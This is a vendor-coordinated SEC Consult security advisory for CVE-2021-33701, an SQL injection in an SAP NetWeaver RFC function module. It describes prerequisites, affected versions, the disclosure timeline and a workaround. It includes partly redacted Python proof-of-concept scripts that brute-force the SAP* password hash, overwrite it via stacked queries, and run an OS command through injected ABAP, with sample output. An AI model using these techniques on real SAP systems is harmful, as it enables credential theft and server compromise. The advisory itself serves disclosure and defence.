SEC Consult Vulnerability Lab Security Advisory < 20211214-0 >  
product: SAP Netweaver  
vulnerable version: see vulnerable/tested versions section below  
fixed version: see solution section below  
CVE number: CVE-2021-33701  
SAP SNote: 3078312  
impact: Critical  
CVSS 3.1 Score: 9.1  
CVSS 3.1 Vector: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H  
found: 2021-07-07  
by: Raschin Tavakoli (Office Vienna)  
SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Atos company  
Europe | Asia | North America  
Vendor description:  
"SAP SE is a German multinational software corporation based in Walldorf,  
Baden-Württemberg, that develops enterprise software to manage business  
operations and customer relations. The company is especially known for its ERP  
software. SAP is the largest non-American software company by revenue, the  
world's third-largest publicly-traded software company by revenue, and the  
largest German company by market capitalisation."  
Business recommendation:  
SAP® released the patch (SNote 3078312) and SEC Consult advises all  
SAP® customers to update their systems immediately.  
An in-depth security analysis performed by security professionals is  
highly advised, as the software may be affected from further security issues.  
Vulnerability overview/description:  
1. Remote ADBC SQL Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)  
The IT_WHERE_CLAUSE parameter of the function module  
IUUC_RECON_RC_COUNT_TABLE_BIG is vulnerable to an ADBC SQL Injection. The  
function is part of the package CNV_INC_PROCESSING_REMOTE inside the function  
module group IUUC_REMOTE. It is typically used to count table records in the  
context of logging table and trigger creations.  
ADBC is an API for the Native SQL interface of the AS ABAP that is based on  
ABAP Objects and can be used to pass Native SQL statements to the database  
interface. ADBC SQL injections are a very serious type of vulnerability as  
they allow attackers not only to access data directly at the database layer  
but also to break out of the current client context. Moreover, stacked queries  
can be used to perform arbitrary read/write commands. All of this leads to  
full compromise of the SAP application server.  
As the affected function module is remote enabled, it allows attackers to  
perform remote attacks via RFC.  
Note that the vulnerability was originally found by SEC Consult during a  
research on a system with DMIS in version DMIS 2011_1_731 SP 0013. In this  
version, the same parameter IT_WHERE_CLAUSE was vulnerable to an ABAP  
Command Injection.  
The vulnerability seems to have been fixed insufficiently, leaving behind this  
ADBC SQL Injection. The advisory can be viewed at the following URL:  
Attack Prerequisites  
1. Remote ADBC SQL Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)  
First prerequisite is the authorization object S_DMIS (SAP SLO Data migration  
server) with at least the following settings:  
MBT_PR_ARE: SAP Landscape Transformation  
MBT_PR_LEV: (not needed to be set)  
ACTVT: 03 Display  
Note that it is common practice that authorization objects are (mis)configured  
with wildcards, which increases the likelihood of exploitation of the vulnerability.  
Further, authorization to perform function calls (S_RFC) has to be  
granted for remote exploitation or access to SE37 for local privilege escalation  
In the majority of cases internal RFC communications are nowadays still found  
to be unencrypted. This increases the risk that attackers wiretap account  
passwords. Once such user is hijacked, the attacker has gained all necessary  
prerequisites for further attacks as described in this advisory.  
Proof of concept:  
1. Remote ADBC SQL Injection in SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)  
Example A: Arbitrary Read  
As a proof of concept, a script was created to brute force the password hash  
of the SAP* users in client 000 while authenticated to client 001. This  
also demonstrates the possibility of breaking out of the current client context.  
For this example, a boolean based Blind SQL attack was used. In  
order to get the exploitation to work, an arbitrary existing table has to be  
specified for the parameter I_TABNAME (in this PoC ZDEMO_SOH was chosen).  
The following excerpt shows the source code of the script:  
* ************************************************************************** *  
#!/usr/bin/env python3  
from pyrfc import Connection  
from string import ascii_letters  
def generate_alphabet():  
alph = []  
for c in ascii_letters:  
for i in range(0,10):  
return alph  
if __name__ == '__main__':  
final_str = ""  
conn = Connection(ashost="XX.XX.XX.XX", sysnr="00", client= "001",  
user= "Peter", passwd="Sap123456", lang='EN')  
alph = generate_alphabet()  
print("Brute Forcing SAP* password hash in client 000 ...")  
for i in range(16, 61):  
toggle = 0  
for c in alph:  
where_clause = ("('" + c +  
",1) from USR02 WHERE BNAME='SAP*' AND MANDT='000'))")  
[ --- PoC partially removed --- ]  
if(result['ET_COUNT'][0]['RECCNT'] != 0):  
final_str += c  
print("{x-issha, 1024}" + final_str,end='\r')  
print ("\n")  
* ************************************************************************** *  
Running the code produces the following output:  
Brute Forcing SAP* password hash in client 000...  
{x-issha, 1024}DRM3SNvfwWWsDf71QYyx+5L0AkN3l0nyKgPjvlBsPqE=  
Example B: Arbitrary Write  
The next proof of concept demonstrates arbitrary write to the database by using  
stacked queries. The following payload inserts the password hash corresponding  
to the plaintext password "Test123" into the SAP* users of all clients and  
then authenticates with the user SAP* on the other client 000. Afterwards, the  
OS command "ip addr" is executed:  
* ************************************************************************** *  
#!/usr/bin/env python3  
from pyrfc import Connection  
def read_ABAP_Report():  
with open('X:\\test.abap') as file:  
content = file.readlines()  
content = [x.strip() for x in content]  
return content  
if __name__ == '__main__':  
final_str = ""  
conn = Connection(ashost="XX.XX.XX.XX", sysnr="00", client= "001",  
user= "Peter", passwd="Sap123456", lang='EN')  
where_clause = (  
"'{x-issha, 1024}voJRVT/rrJ31pxfmhb/zaBqhXA81CYKSnylMlKr/CkE=' "  
[ --- PoC partially removed --- ]  
conn2 = Connection(ashost="XX.XX.XX.XX", sysnr="00", client= "000",  
user= "SAP*", passwd="Test123", lang='EN')  
inject = ['REPORT Z_TEST213.'  
'DATA(c) = \'ip addr\'.',  
'DATA t TYPE TABLE OF char255.',  
'DATA l(250) TYPE c.',  
'LOOP AT t INTO l.',  
'WRITE: / l.',  
params = {'PROGRAM':inject}  
result ='/SAPDS/RFC_ABAP_INSTALL_RUN', **params)  
for x in result['WRITES']:  
* ************************************************************************** *  
Running the code produces the following output:  
$> .\  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group  
default ql  
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
inet scope host lo  
valid_lft forever preferred_lft forever  
inet6 ::1/128 scope host  
valid_lft forever preferred_lft forever  
2: enp0s3: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state  
link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff  
3: enp0s8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state U  
P grou  
link/ether XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff  
inet XX.XX.XX.XX/24 brd XX.XX.XX.255 scope global noprefixroute enp0s8  
valid_lft forever preferred_lft forever  
inet6 fe80::a00:27ff:fec3:fa40/64 scope link  
valid_lft forever preferred_lft forever  
Vulnerable / tested versions:  
This vulnerability has been tested on SAP Netweaver 752 SP-LEVEL 0004  
DMIS Release 2011_1_731 SP-Level 0016 SP SAPK-11616INDMIS.  
According to the vendor, the following products / versions are affected:  
* S4CORE 105 < SAPK-10503INS4CORE  
* S4CORE 104 < SAPK-10405INS4CORE  
* S4CORE 103 < SAPK-10307INS4CORE  
* S4CORE 102 < SAPK-10209INS4CORE  
* S4CORE 101 < SAPK-10111INS4CORE  
* S4CORE 100  
* DMIS 2018_1_752 < SAPK-20106INDMIS  
* DMIS 2020 < SAPK-20202INDMIS  
* DMIS 2011_1_700 < SAPK-11321INDMIS  
* DMIS 2011_1_710 < SAPK-11421INDMIS  
* DMIS 2011_1_730 < SAPK-11521INDMIS  
* DMIS 2011_1_731 < SAPK-11621INDMIS  
* DMIS 2011_1_620 < SAPK-11121INDMIS  
* DMIS 2011_1_640 < SAPK-11221INDMIS  
Vendor contact timeline:  
2021-07-08: Contacting SAP Product Security Response Team through Web Portal  
ID SR-21-00009 has been assigned  
2021-07-19: Vendor confirms vulnerability  
2021-08-10: SNote 3078312 with patch released  
2021-11-17: SEC Consult sends final advisory to vendor and informs about release  
2021-11-18: SAP requests to obfuscate or remove PoC  
2021-12-14: Coordinated release of security advisory  
SEC Consult advises all SAP® customers to implement SAP Security Note  
3078312 immediately. Note that Security Note 3078312 contains no automatic  
correction instructions for customers who run systems with DMIS versions or  
Support Package levels lower than DMIS 2011 SP10 (2015). Please refer to the  
section workaround.  
In lower SP levels, the correction can be applied manually by modifying  
function module IUUC_RECON_RC_COUNT_TABLE_BIG adding the following statement  
directly after the authorization check:  
ASSERT it_where_clause[] IS INITIAL.  
Advisory URL:  
SEC Consult Vulnerability Lab  
SEC Consult, an Atos company  
Europe | Asia | North America  
About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Atos company. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.  
Interested to work with the experts of SEC Consult?  
Send us your application  
Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices  
Mail: research at sec-consult dot com  
EOF Raschin Tavakoli / @2021